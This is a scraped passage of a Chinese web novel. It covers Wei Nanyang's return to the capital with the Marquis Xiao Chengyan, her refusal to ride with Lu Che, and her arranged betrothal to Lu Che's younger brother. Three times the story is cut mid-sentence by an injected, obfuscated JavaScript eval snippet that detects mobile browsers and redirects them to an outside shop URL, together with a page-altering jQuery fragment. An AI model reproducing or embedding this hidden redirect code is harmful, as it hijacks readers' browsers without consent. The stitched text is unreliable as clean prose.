这个陌生的嗓音却提起了她的名字。 陆澈道：“山阳郡的诸多消息已传至京城，朝野震动。应受弹劾的，只怕不是本官。” “永兴伯卫家的二娘在平安镇养病，听闻和萧侯同行？陆某乃是卫家表亲，受卫家托付，代为看顾卫二娘。还请萧侯将卫二娘放还。” 【卫家表亲】 【受卫家托付，看顾卫二娘……】 来的当真是陆大表兄？南泱震惊地盯着前方背影看了好一阵。 阿姆正好悠悠醒转，也不知听到多少，抓住南泱衣袖的手猛地一紧，露出激动神色。 南泱低头看阿姆喘不过气的模样，赶紧又喂她喝水。 阿姆直勾勾盯着前方陆澈的背影，嗓子哑得喊不出声，以气音道： “陆大郎君，真是他……快……快出去……让陆大郎君救我们……” 南泱小声说：“萧侯没放话，不知两边会不会打起来。陆大表兄的人一看就打不过，我们出去只会跟着挨打。阿姆，歇歇吧，先把你身子养好。” 阿姆气急，拼命地推她，“出去，出去！” 南泱不肯出去。 “如果陆大表兄就是山阳郡的陆太守，他早知我们在平安镇。阿姆，为什么这大半年，他一次都不来探望我们？” 阿姆推她的手原地停住。 深夜官道亮起火把光，两边人马继续对峙。 陆澈的话开始软中带硬：“萧侯人既在此，为何不现身？卫二娘何在？卫二娘乃是永兴伯府女眷，高门之女，不容轻侮。还请萧侯高抬贵手。” 卫二娘何在？ 包括明先生在内，在场许多双眼睛默默转向陆澈背后，被巨大树冠阴影笼罩的路边土沟方向…… 卫家二娘子忽闪着一双乌圆眼睛，安安静静坐土沟里呢。 不远处的野林子边，高大黑马悠闲甩起尾巴。 萧承宴坐在一片巨大的树冠阴影下，取布擦拭长刀，偶尔睨一眼远处热闹。 看着看着，挑了下眉。 狄将军在旁边嘀咕：“陆太守受卫家委托，看顾卫氏女眷，又是表亲，应该和卫二娘子熟络才对。卫二娘子怎么不动？看起来和他不怎么熟。” “去个人。”萧承宴吩咐，“问一下，陆澈和卫二娘到底什么关系。” —— 南泱眼睁睁看着火把停在面前。 黑夜里跳跃燃烧的火光，把周围两尺照得清晰可见。 亲兵举着火把传话：“主上问卫二娘子，陆太守自称和卫家有表亲，和卫二娘子相识多年，受卫家托付看顾卫二娘子，这些可是真的？” 随着火把移动，山阳郡追来的众多双眼睛齐齐转向路边。 众人终于发现了路边土沟里的身影。 几十道无法掩饰的震惊眼神里，南泱躲不过，只好从土沟里起身，把身上大片灰土掸了掸。 “陆家和卫家确实是姑表亲……” 南泱慢吞吞地道，“但我和陆太守本人，不太熟。” 火把光芒再次穿过人群，亲兵飞跑去野林子传话。 土沟附近陷入黑暗，山阳郡追来的轻骑们骚动起来。 沉默良久的陆澈，终于意识到了土沟里坐着的灰扑扑的小娘子的身份。 南泱试图把虚弱的阿姆从地上扶起，几下都没拉动，正犯愁时，身前出现一个高挑如竹的身影。 陆澈的声线隐含愠怒： “卫南泱！” 南泱平淡地：“哎。” 远处的火把光照来两人面前，只能看清大致轮廓。南泱对着七分陌生的修长身影，想必对方看她的感觉也差不多陌生。 陆澈再开口时，显然压住了火气。 第二句听来平静多了。 “你早知我在寻你，为何不现身？” 陆澈看她的眼神也很陌生。 南泱顺着他的眼神，低头看看自己尘垢浮灰看不清颜色的衣裙，沾满尘土的手指。她抬手摸了下发鬓，把飞舞的凌乱发丝捋起几缕。 阿姆沙哑而紧张地开口帮衬： “二娘子吓到了。陆大郎君，淮阳侯凶戾万分，二娘子自从落在他手上，吃不好睡不好，吓得——” 南泱摇摇头，示意阿姆不要再说了。 淮阳侯确实不好相处，但还不至于吓得她吃不好睡不好。实话实说，亲兵煮的肉糜野菜粥挺好吃。 “不想露面……就是不想的意思。” 如果不是被追问到面前，南泱其实不太想说。 太久没见，乍见面生疏到不知该怎么称呼。 陆大表兄，陆澈，陆太守，姐夫？ “原来陆大表兄便是山阳郡的陆太守。之前听杨县令提起几次，真的没想到。恭喜大表兄年轻茂才，直上青云……去年听家里说，长姐和大表兄喜事将近，嗯，也恭喜……” 南泱尴尬得说不下去了。 陆澈有没有感觉尴尬她不知道。 总之，陆澈沉默无言地对站片刻，转身便走。 夜风里抛下一句，“我既受卫家所托，舍去这条性命，也会带你回京。” 阿姆眼眶通红，似哭又似笑： “二娘子，陆大郎君对你还是有旧情分的。毕竟多年的青梅竹马，二娘子，你该争啊。不能这么轻易把他让出去了……” 赶在阿姆吐露更多卫家阴私之前，南泱赶紧拦住，“明先生听着呢。” 阿姆倏地闭嘴。 明文焕笑呵呵从阴影里走出两步，晃了晃大蒲扇，转身去回禀。 “卫家二娘子果然有趣。” 明文焕感慨说，“昨晚主上说她有趣，臣属还难以琢磨。如今看来，呵呵呵，青梅竹马的陆家大表兄变成姐夫，卫家有趣的事很多啊。” “陆太守说，他舍命也会带卫二娘回京。卫二娘却宁愿躺土沟里也不想跟陆太守见面。呵呵呵，越想越有趣。” 萧承宴慢悠悠地擦着刀，唇边带笑听着，同样饶有兴致的模样。 但他觉得的“有趣”，显然跟明先生的“有趣”截然不同。 “明先生，说说看。一个卫二娘，陆澈当真愿意为了她舍去这身性命？” 明文焕正要答，忽地感觉不太对，倒抽一口凉气，“萧侯！” 你又要做什么！ “陆太守和杨县令不同！杨县令寒门出身，萧侯把人绑来也就绑了。但陆太守是山阳郡大族出身，才高盛名，本朝最年轻的郡守！以他的年纪镇守地方一郡，圣上面前都数得出名号的啊。” “那又怎样。”萧成宴声线淡淡，“杀不得？” 刀锋被软布擦得锃亮，屈指一弹刀身，嗡地一声清越鸣响。 不知何时滋长的戾气，掺杂汹涌而出的杀气，肆意弥漫。 长刀应和嗡鸣。 好像熊熊山火初始升腾的火苗，一旦火起，便成燎原之势，轻易难以扑灭。 “快马赶路六天才拦住卫二娘。放她回京还是不放，本侯说了算。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17162516|196312||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 萧成宴漠然道：“陆澈什么东西，谁允许他带走卫二娘？” 明文焕：“……” “明先生，去问一声卫二娘，她愿不愿意跟陆澈走。” 卫二娘不愿意也就罢了。如果她上了陆家的车…… 萧成宴继续慢慢地擦刀：“山阳郡轻骑四十八人，陆家长随六人，车夫一人，再加上陆澈自己。五十六人，一起送去投胎上路，成全陆太守的舍命之心。” 明文焕头皮一阵阵地发麻。 距离京畿不到百里地界，连杀五十六人，包括圣上记得名姓来历的山阳郡守陆澈！ 他错了，刚才他还看卫家的笑话，今晚如果拦不住萧侯，他们几个萧侯属臣才是最大的笑话…… 明文焕汗流浃背，跳起身就要找卫二娘疯狂劝谏，无论如何也不能让卫二娘上陆家的车！ 但这位主上的心思转得实在太快。 萧承宴视线一凝，忽地又道：“等等，再看看卫二娘。怎么又躺回去了？” —— 南泱站在陆家马车边，目送阿姆上车。 “阿姆最近身子不太好，马车回程行慢些，务必把阿姆送到卫家门外。有劳大表兄看顾。” 阿姆被两个陆家长随搀扶上车，频频回头，“二娘子，你也上车来。” 陆澈态度疏淡地站在车边，并不言语，只微微颔首，表示听见；又做出一个请的姿势，催促南泱上车。 南泱摇头，往后退开几步。 众人惊诧的神色里，她转身回去路边，沿着土沟摸索几下，寻到铺在地上的披风。 南泱借着火把光芒收拾披风，拍打灰尘，又把披风铺去一处稍微干净的土沟地段。 在众人瞠目瞪视下，再次安详地躺进路边土沟。 “我不会跟陆家马车回京的。” 南泱其实并没有发脾气，说话和平常差不多。因为整夜睡得不大好的缘故，反应有点慢，语气更显得温吞了。 看头顶星辰，差不多四更初，天亮前可以再睡一个时辰。她放松地闭上眼睛…… 被人扯着手臂从土沟里拉出来。 陆澈的脸色不怎么好。一瞬间眼神都带寒意，似乎很愤怒，又强行压抑下去。 他把南泱拉出土沟就松手，往后退开两步，拉开避嫌的距离。 “何必如此！”陆澈嗓音冷冽如冰。 “卫南泱，记住你卫氏女的身份。撒泼打滚是乡野妇人行径，你出身名门，教养何在？何必学那些撒泼野妇？” 南泱茫然地“啊？”了声。 谁撒泼打滚了？她只是太累了，想躺平睡一觉而已。这也不行？ 她转身又往沟里躺。 还没躺下手臂又被握住，“卫南泱！” “不必如此。”陆澈再次吐出这四个字，像是想通了什么，突然彻底平静下来。 “不知这些年你生母如何地教你，把你引入歧途。但卫家不能失了该有的体面。” “你想要什么，有何要求，不必通过不体面的乡野手段胁迫强求，可以直接开口提。只要不是过于非分的妄想，我尽力替你办到。” 陆澈以极度平静的口吻说完，低低喟叹了声： “长大点，南泱。登车吧。” 南泱低头对着自己被抓住的手臂，想了想：“你先松手。” 陆澈松手退开两步。 南泱满意地提出第二个要求：“你可以走了。 ” “……”陆澈抿了下唇。 他不仅没走，反倒站近一步。 就这么莫名其妙地，两人站在路边，对峙起来了。 这场突如其来的僵持，或许在对方眼里，意味着某种无声的坚持； 但对于南泱来说，只意味着今夜能睡的时辰又少了一刻钟…… 两边僵持不下，南泱困倦得东倒西歪，心里罕见的感到不宁和。 正不知该如何收场时，前方闪过刺目白光。 灼亮耀眼的琉璃灯光照亮夜空。 前方八盏琉璃灯引路照明，一辆宽敞而华丽的双马大车在夜色里缓缓行驶而来，停在南泱面前。 明文焕摇着大蒲扇坐在车前，看似悠闲，手心冷汗涔涔。 他掐着时机来替接人。五十六条人命哪！ 大蒲扇往车门方向一指，明先生试探问，“卫二娘子，上车？” 18.第 18 章 明先生手心攥一把冷汗，萧侯已起杀心，绝对不能让卫二娘上陆太守的车。 哄骗也好，利诱也好，搜肠刮肚用手段，诓也得把人诓上萧侯的车！ “卫二娘不必多虑，登车绝对安全。萧侯应诺，无论卫二娘想去何处，上车都可以——！” 才开了个头，还没来得及把诱饵抛完，南泱直接噔噔噔上马车。 萧侯的车怎么了？ 自从见过陆澈，就连萧侯的马车都显得眉清目秀起来。 上上上！ 南泱上车倒头就睡。 车里比路边僵站着好多了，她又不是能站着睡觉的马。 接到人的双马大车疾奔出去。 这回驾车的速度才叫做风驰电掣，快如电光，陆家马车瞬间被抛去身后黑夜的滚滚烟尘里。 明先生如释重负，擦去满额头的冷汗。 卫二娘子不肯上陆太守的车，却干脆地上了萧侯的车，一人救下五十六条性命，免除一场惊天风波…… 实在是个懂事明理的小娘子啊！ 南泱合衣眯了一觉，直到车里被颠醒，半梦半醒地坐起身，天光映进车里，她这才想起问。 “明先生，车往哪里去？萧侯昨夜应诺我什么？明先生？” 车前头哪有明先生？ 只剩下一个赶车亲兵，马鞭甩得山响，车赶得几乎飞起，嘴巴严实得像蚌壳，一个字也不回应。 南泱掀开车帘，探头往外看去。 天光大亮，两边的树丛快速后退成了虚影。 数十轻骑快马疾行，仿佛黑色的洪水簇拥马车前后。马车像洪水中摇晃的浮木。 “明先生？”南泱探出半个肩膀前后寻找，哪有明先生的人影？ 她困惑地自语：“骗我上车……？” 心里砰地一跳，紧张起来。 南泱越喊越大声：“车往哪里去？杨县令还活着吗？阿姆呢？明先生？萧侯？” 大风吹得车帘猎猎作响。 南泱还在四处张望，一只筋骨分明的男子的手忽地出现视野，扯住摇晃布帘往车里一扔，按着她的肩膀塞进车。 “坐好了。车往京城。”萧承宴的声线在风里听不出喜怒情绪。 “今日送你回卫家。嘴巴记得闭紧了，不该说的一句都不要说。” 南泱端正坐在车里。 淮阳侯的声音这几日听得很熟了。离别在即，她本能地回忆对方的相貌，竟然想不起一张清晰面孔。 这位年轻的萧侯似乎警惕心极强，轻易不显示面容于人前。 她竟然只有三月桑林边，六月水边，趁对方昏迷不醒的两次，完整看过他的相貌。 车帘子静悄悄掀起一个角。 帘后悄然探出乌黑的圆眼。 只有黑马鬃毛闪过视野。没等她看清，淮阳侯萧承宴连人带马消失在前方烟尘里。 巍峨京城出现眼前。 —— 南泱这次回京一路上状况百出，到家正好七月十四，中元节前日。 卫家大宅忙忙碌碌地准备过节祭祖放河灯。 突然归家的南泱，仿佛河水激起一朵小浪花，很快便淹没下去。 并不意外的，她拜见了嫡母，顺便和嫡母身边的两个姐妹照了面。 嫡母身边几个亲信仆妇似笑非笑地上前行礼，视线反复打量南泱身上沾满灰尘泥土的衣裙。 长姐映雪笑而不语。 小妹传莺捂着嘴噗嗤乐了，“二姐，乡下这般好玩？你从哪里滚了一身泥巴回来？” 南泱心平气和地拍拍裙摆，把京城郊外土沟带回来的泥灰抖落在嫡母房里。 中元祭祖当日，她远远地见了一面阿父。 阿姆被送回她的丁香苑，身上还病着。丁管事满脸晦气地送药来。 “辛媪去一趟乡下，回来倒像个正经主子，陆大郎君亲自送进门，惊动主母接待，还支使我老丁跑来跑去抓药！” 丁管事阴阳怪气两句，放下药包就走。 没人想来丁香苑触霉头。 辛媪被陆大郎君送回卫家，二娘子却连个包袱都没带，不声不响，仿佛鬼影一般突兀出现在卫家大门外！ 这两天卫家表面风平浪静，暗地里流言早传遍了。 有人说，卫二娘子在城外和辛媪走散了，硬靠两只脚板走进的京城。 也有人说，十六岁的小娘子，如何走得动几十里路？肯定被人捎带了一程。 至于被哪家的人捎带了，马车、牛车，还是小门小户的驴车、板车？ 一个未出阁的小娘子，路上有没有发生什么不好说的，那可难讲了。 “听说了没有？” 几个看守二门的婆子悄悄议论： “门房那边传的消息，二娘子回来当晚，有人听到马蹄声。所以，二娘子是被人放在巷口，那人骑马来的。” 另一个婆子唏嘘不已，“大晚上打马过街的，总不会是个妇人？二娘子跟男人共骑一匹马啊。” “说不定城外就开始了，孤男寡女共骑一匹马，身前身后贴着，这般走了几十里。” “哎哟哟，传出去名声可不好听……” 主母房里的亲信王媪捧着盆出来倒水，迎面啐了一口。 “主子的事轮到你们嚼舌根？二娘子回来得不光彩，传出去有损卫家名声，你们这些婆子还想在内院当差的话，一个个把嘴闭紧了！” 几个婆子躬头缩背地应下。 等王媪提着空盆回屋里，看守婆子凑在一处，啧啧议论，“都听到了吗？二娘子果然回来得不光彩。” “嘘，小声些。忘了二娘子去乡下养的什么病了？谁知道是不是突然发了病跑回来。过年都十七了，一家相看都没定下，听主母房里的钱嬷嬷说，怕祸害别人家的儿郎……” 南泱捧着药盅走过院墙下，停步听了几句，开口问：“主母身边的钱媪当真这么说？” 看守婆子们齐齐跳起来，脸上五颜六色的，矢口否认，“没哪个说过，老婆子听岔了。” “哦。”南泱无可无不可地应了声，更正道： “送我回来的不是一匹马，是马队。我坐大车入京。以后别瞎议论了，没一句对的。” 身后静了一阵，等她走远，又开始苍蝇般嗡嗡地议论，说什么南泱管不着，别让她听见就好。 她捧着炉子上刚煎好的滚烫的药盅，沿着内院墙一路走进最西边的丁香苑，打开碗盖，苦涩药香弥漫。 “阿姆，喝药了。” —— 七月中元节当日，卫家全族祭祖，南泱远远地在人群里看过一眼阿父，原本以为下一次见面，应该在过年前的除夕家宴。 没想到下次见面来得那么快。 归家十余天后，七月末尾，天气入了仲秋，早晚凉爽下来。南泱被叫去东侧院花厅问话。 花厅是她极少踏足的地界，因为那里是阿父常待的地方，有时还会招待卫家关系亲近的外客。 小时候倒是经常过去玩耍。 那时候阿娘还没发疯，手里攥着卫家内宅的打理权。内院外院，偏厅花厅，没什么地方是她不能去的。 那时她的胆子也比现在大得多。 南泱谨慎地踏进熟悉而又陌生的花厅，迎面看见熟悉而又陌生的阿父坐在花厅中央，笑容满面，和对面端坐的外客热络寒暄。 南泱走近两步，赫然发现今天的外客也是个熟悉而又陌生的人物。 正是城外追赶上来又被抛下的陆家大表兄，陆澈。 她脚步一顿。 外地郡守不该擅入京城地界的吧？都半个月了，人还没走？ 阿父发觉了她，收敛笑容，示意她走近。 整年见不到两回的父女，突然单独碰面，彼此都很生疏，一时间面面相觑。 南泱想不出说什么，对面阿父上下打量自己，应该也想不起如何开启话头。 看好了么？ 南泱默默地嘀咕，认出我是你女儿了么？ 最后还是陆澈轻咳了声，卫父终于回过神来，摆出一张肃然面孔，正色道：“吾女南泱长大了。” 随即呵斥道：“年纪既然长成，做事便当遵循规矩。前些日子为何不随陆家马车归京，反倒借了外人的车？亲疏有别，舍自家人而就外客，成何体统！” 南泱：……？ 原来是叫来挨骂的。 挨骂她有经验，当即把头一低，小巧的下颌对地面，只露出头顶乌黑发旋对着阿父。 听了个开头，心思就飞出去了。 花厅里的外客其实有两位。 陆澈坐在前头，人正好坐在日光下，身量修长挺直，气质清如冷玉，她进来时只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17171351|196312||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看到陆澈一个。 其实陆澈身后还坐了个少年。尚未加冠，一身士人打扮和陆澈三分相似，年纪小得多，看着也就十七八年纪，端端正正地坐着，神色有点飘忽。 南泱的眼神也在半空发飘。 两边不留神，视线撞在一处，那少年陡然精神一振，目光紧盯不舍。南泱疑惑回望。 陆澈轻轻又咳了声。 身后那少年很怵他，立刻老实低下头去，视线却又悄悄地往对面一飘。 南泱没忍住，抿着嘴乐了。瞧着像同道中人。 卫父开口让南泱回去。 她来了不到半刻钟就被打发走，连座具都没沾着，仿佛被召来只为露一面似的，莫名其妙地行礼退出花厅，身后传来陆澈的嗓音： “正事既已谈妥。表舅父，外甥便带三弟告辞了。” 南泱吃惊地回头张望。 那少年，原来是陆家三郎？ 难怪坐在陆澈身后，服饰打扮类似。仔细想想，眉眼其实也有几分类似。 身后传来阿父的笑声，“以后亲上加亲，澈儿，这声表舅父要改口喽。” 走出花厅的一路，南泱边走边想，从久远模糊的记忆里扒拉一个小豆丁的轮廓。 小时候逢年过节，陆家在京城的几个族兄弟结伴登门做客，前头的长兄鹤立鸡群，谁还记得后头跟的那群小鸡仔？ 陆家三郎，年纪似乎跟她差不多大。今年也是十六？还是十七？ ……叫什么名字来着。 许多年不见，人原来还在京城。 才想到这处，思绪被身后脚步声打断了。 陆澈从花厅追了出来。当然，还带着陆三郎那小尾巴。 “二娘停步。”陆澈以一副公事公办的疏离态度道：“多日不见，有几句话单独问询。” 南泱疑惑地随他走去路边。 “近日耳边有些流言。”陆澈的神色淡淡的。 “对你如何归家，多有恶意揣测。你为何不告诉家里，淮阳侯以马车送你入京？连你阿父都不知晓。” 因为萧侯他不许提啊。 南泱想起入京当日，大风里传来的两句警告： 【嘴巴记得闭紧了】 【不该说的一个字都不要说】 她这边不吭声，那边陆澈不知如何想的，神色和缓下去几分。 “你不清楚萧侯酷戾本性，误上他的马车。此人非良善之辈，和他牵扯在一处，有损卫氏门楣。好在，你虽然错选了他的车，还算知晓轻重，没有张扬出去。” “事后回想，当日未能把你送回京城，以至于流言升腾，损毁你的名声，我亦有责任。” 南泱默默地想，我自己挑的车，关你什么事…… 萧侯当然不是什么良善之辈，但她觉得，这位大表兄也没好到哪里去。 陆澈在打量她，神色隐含复杂。 没等南泱体会出这份复杂眼神的意味，陆澈便转过视线，把小尾巴似的陆三郎召近身前。 “二娘，以后再有人追问，你无需提起淮阳侯，只说七月十四当晚，是三弟接你入的京城。” 南泱茫然地看向陆三郎。 又关他什么事？ 但陆三郎不知如何想的，羞答答一低头，避开她疑惑的视线—— 居然脸红了。 南泱：？？ —— 她想了半晌也没想起的陆三郎的名字，第二天从嫡母口中轻飘飘吐出，尾音带出恰到好处的笑意。 “陆家三郎，陆清泽，今年十八岁，过年就十九了。人还在太学读书。” “陆家年轻这一代，有长兄带了个好头，下面几个弟弟都成器。陆、卫两家亲近，眼看陆家三郎也长成了，我们做长辈的看在眼里，十足欣慰。” “二娘，昨日你阿父发话，陆卫两家打算亲上加亲，再添一桩喜事。” “陆家三郎清泽，堪配吾家南泱。” 嫡母姿态端庄地微笑着，仿佛当真发自内心欣慰一般，拉过南泱的手，轻轻拍了拍。 身边服侍的钱媪、王媪两个亲信嬷嬷齐齐扯出假笑，上前行礼。 “恭喜二娘子。” “二娘子大喜。” 南泱：…… 天上掉饼，正中头顶？？ 这是她卫南泱会有的运气吗？？ 19.第 19 章 南泱站在屋里回不过神。 昨日才听婆子议论，她快十七了，家里至今不敢安排相看，怕祸害了别人家的好儿郎…… 今日就和陆家三郎议亲了？ 天上掉饼都没砸这么快的。 嫡母今日把她叫来，当然不是和她商量，而是告知。南泱带几分茫然出了正房。 台阶下走出两步，想起许久不见的亲生母亲，又急转回去。 初秋天气热，几扇边窗没关。嫡母正和身边几个亲信低声说话，挂在唇边的得体微笑早已消失殆尽。 南泱转回屋门口，刚好听到一句幽幽的： “陆家怎么想的？以后姐妹成了妯娌，二娘学了不少她亲娘的厉害手段，映雪嫁过去怕要吃苦了……” 南泱正好开口道：“母亲。” 两边同时说话，守门丫鬟来不及通报，慌急慌忙地高喊：“二娘子怎么回来了？” 嫡母和身边几个亲信陪房的脸色同时微微地一变。 嫡母坐直身体，无事人般招呼：“何事又回来了？可是落了什么物件在屋里？” 南泱规规矩矩站在门外回话。意外听来的一句闲话左耳入右耳出，和身边吹过的穿堂风也没什么区别。 “想起件事问母亲。女儿离家大半年了，今日可否去探望周姨娘？” 嫡母并不阻止：“血脉连心，去罢。” 南泱得了准信，心里雀跃，转身正要走，又被嫡母叫回去。 “你这孩子。天上掉下一桩好亲，你接着便是了，偏生出许多心思。转弯抹角听到三言两语，怕不是又要误会了？” 嫡母淡淡地笑了下，“我是心疼映雪，但同样心疼你。卫家姐妹嫁陆家兄弟，传出去容易让人比较。陆家两兄弟都是人中龙凤，外人也就罢了，自家姐妹，切莫升起攀比之心。” “陆家两兄弟都是人中龙凤”……客气话听听就算了。 南泱边走边想着那句：“自家姐妹，切莫升起攀比之心”。 “我有什么好和长姐攀比的？”她低声嘀咕，“我只有一个阿姆。” ……还有个发疯的亲娘。 认不出女儿的亲娘毕竟还是亲娘。大半年不见，说不想念是假的。 她沿着内院墙笔直往北去了。 阿娘发疯后，被移去卫家内宅最北面的一排倒座罩房居住，日常由两个婆子拘束看管。 南泱自己的丁香苑朝西，虽然夏天闷热得像个蒸笼，毕竟下午还有阳光晒进院子。阿娘住的倒座罩房那才叫终年不见日光。 南泱停在内宅最北面虚掩的院门外，从袖中取出钱袋子，掂了掂。 平安镇大半年积攒下来的半袋钱，今天全撒给看守婆子，应该能换来婆子们睁只眼闭只眼，让自己多留半日，陪阿娘出门晒晒太阳，再找个阿娘心情平静的空当，把自己即将出嫁的消息告诉她。 不知是不是错觉，她上前敲门，打算拎着钱袋和婆子们交涉的时候，感觉身后有目光盯来。 南泱诧异转身回望，身后空空荡荡，远远地低头走过一个家仆。 想多了吧……她敲开了门。 有钱能使鬼推磨。使了半袋子钱，如愿陪伴阿娘一个下午。 可惜阿娘还是没能认出她来，母女同坐在一处，阿娘木呆呆地毫无反应。 南泱早习惯了，借这个难得的下午替阿娘清洁身体，又仔细沐了次发。曾经光滑如绸缎的乌黑长发，多年疏于打理，处处打结，黑里泛起丝丝灰白。 时光如涛涛流水。乍看天天相似，细看处处不同。 曾经端庄明艳、仿佛一朵人间富贵花的阿娘，怎会变成如今这番模样？ 小时候的她经常坐在丁香苑里，想各种各样的 “如果”，“为什么”。 现在长大了，其实世上许多事并没有答案，也没有那么多的“如果”。 阿娘疯了就是疯了，追问和假设毫无意义。 如果说南泱年幼阶段的回忆仿佛一卷五色斑斓的画卷，时而春风拂面，时而风浪涌起； 长大后的日子连微风都没有，整卷画卷一片空白，也算平和。 南泱给阿娘梳头，轻声细语：“娘，女儿要出嫁了。” “昨日见了陆三郎一面，应该是传说中的相看。陆家三郎没什么不好。” “陆澈也没什么好。阿娘，我和大表兄的年纪差太多了。” 她七岁时，陆澈都十三岁了。耐着性子陪她玩斗百草。她站着，对方坐着。 个头相差太多，只有这样才能平视。 坐看年幼的她捧一堆草茎兴冲冲献宝，外表温雅谦和的陆家大表兄，当时心里如何想？ “阿娘当初怎么想的呢。” 乌黑里掺杂灰白的发髻被仔细挽起，阿娘浑浊的眼睛毫无神采，她知道今日得不到任何回应了。 南泱又安静地陪坐了一会儿，伏身下去，下巴倚在生母温暖的膝头，喃喃自语： “阿娘，和我说说话罢。” —— 秋阳当空，映亮宫城明黄的琉璃瓦。 大殿外出现一个高挑的精悍身形。一身肃穆玄色大袖朝服，脚下黑履，腰间紫绶玉环在阳光下灼灼耀光，宽肩蜂腰，三两步走下汉白玉台阶。 等候在台阶下的狄荣、明文焕两个属臣一齐迎上。 往日都是狄荣大步走得快，今日狄荣却慢腾腾地落在后头，迈不开腿似的。 卫二娘在卫家的事他负责探听。 ……听来一堆破事。 等下主上问起，怎么跟主上说？ 哎，烦。 “萧侯，今日面圣如何？” 明文焕低声问，“圣上御体可安康？” 萧承宴唔了声。 “未见到圣上。” “倒是撞见了齐王。” 两边在天子寝殿外狭路相逢，齐王完全没想到他会出现在禁中，脸色大变，开口就要喊人。 齐王身边最得力的谋士崔先生，从身后猛一扯，耳语几句，齐王这才勉强镇定心神，假笑着上来寒暄。 明文焕细细思忖齐王的反应：“不对劲。” 萧承宴一点头。 “值守禁军未拦我，齐王很意外。” 宫里情况不对劲，出现许多生面孔。好在认识的更多。 萧家父子两代从军，萧承宴十四岁就入军营摸爬滚打。这么多年在军中交结的人脉复杂深广，岂是齐王几个月能撬动的？ 明文焕为人谨慎，思虑得更远。 “圣上病重，东宫储君之位空悬，现在圣上的面都见不到了。看来，我们出京一个半月的功夫，齐王已安插了不少人手，控制宫里情况。若被他登基……那可糟糕之极。” 萧承宴唇边露出嘲弄之色。 如果宫里的局面被齐王完全控制住，刚才两边意外照面，齐王就不会假笑着上来寒暄，而是直接下令围杀了他。 对方不敢在宫里动手，显然，他离开京城的一个半月，齐王借着天时地利，依旧没能掌控宫里的局面。 这废物。 萧承宴迈开长腿往前走，几步便走去前头，不咸不淡道：“托圣上洪福，齐王殿下没那么大本事。” 圣上年纪大了，越老越喜欢玩弄权术。 两个成年的皇子，齐王、湘王，都不算得宠的皇子。 圣上提起这两个儿子，总一副嫌弃口吻。 嫌弃齐王骄狂，湘王阴沉。两个儿子的才德品性加起来也比不上早逝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17176599|196312||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的先太子。先太子如果还在人世的话，这两儿子哪能留在京城？早滚去封地了。 去年先把湘王赶去了封地。 起因在去年正月的宫宴，圣上抱着先太子留下的皇长孙，当众嘲讽两个儿子：“皇孙今年四岁，朕观之，才德品行亦远胜齐王、湘王！” 齐王捏着鼻子忍下去了。 湘王没忍住，宫宴大闹一场，去年正月里被撵去南边封地。 其实湘王已暗中筹备了两三年。被赶去封地这件事，仿佛熔浆冲开豁口，下半年湘王就造了反。 萧承宴领兵镇压下去。杀尽湘王旧部，斩首八千余人，死者枕籍。 湘王死后，京城的皇子只剩下一个齐王了。 圣上总得立太子。 朝廷那边刚刚放出立储君的风声，萧承宴这边就被天子催促着去封地，一杆子支出了京城。 萧承宴顺着宫道悠然踱步，唇边噙笑，语气也悠闲。 但吐露的言语完全不能被人听见。 大不敬。 “圣上防备我。怕我留在京城，不利于齐王。” “等齐王坐稳太子之位，将来登基，圣上打算把我这条命当做贺礼，赠给齐王了。” “送去山阳郡的密旨，我越想越觉得，像真的。” “……”·狄荣低声咒骂一句。 明文焕冷汗从后背炸开，伸手一扯主上衣袖。皇城禁地，多少双耳朵！ 萧承宴毫不在意。 “盘算得厉害，可惜运气不大好。齐王尚未册立太子，圣上先倒下了。这叫什么？” 他悠悠地道：“时也，命也？朽木不可雕也？” 萧承宴噙着意味不明的笑走出几步，不知思绪跳去哪处，忽地话锋又一转。 “说点有趣的罢。卫家怎么样？” 卫家的事狄荣负责。 狄荣觉得卫家的一堆破事都不怎么有趣，也不知主上觉得哪里有趣。 “派了个好手潜进卫家，情况摸得差不多了。” 原原本本地描述完，狄荣总结道，“卫二娘子在家里过得不怎么样嘛。” 明文焕听得眉头大皱：“原本是卫二娘和陆家嫡长子陆澈议亲，后来陆澈改议卫家嫡女，和卫二娘议亲的换成了陆家旁支的三郎。陆、卫这两家怎么乱七八糟的。” 萧承宴停下脚步，从怀里抽出一张画像，迎风展开，若有所思看了一阵。 正是平安镇带出的小娘子画像。 一路扔出去三四次又捡回来，揉得皱巴巴的。 好在还能看出画像女郎小巧的尖下巴，乖巧的圆眼。 “卫二娘在卫家并不受宠……”萧承宴忽地开口问：“她在家里穿不穿葛布衣？” “卫家上下无人穿葛布衣。扫地仆妇都不穿。” 萧承宴：“去个人，回平安镇。查一查卫家在平安镇的宅子。” 明文焕有点估不准主上的想法，半真半假笑问： 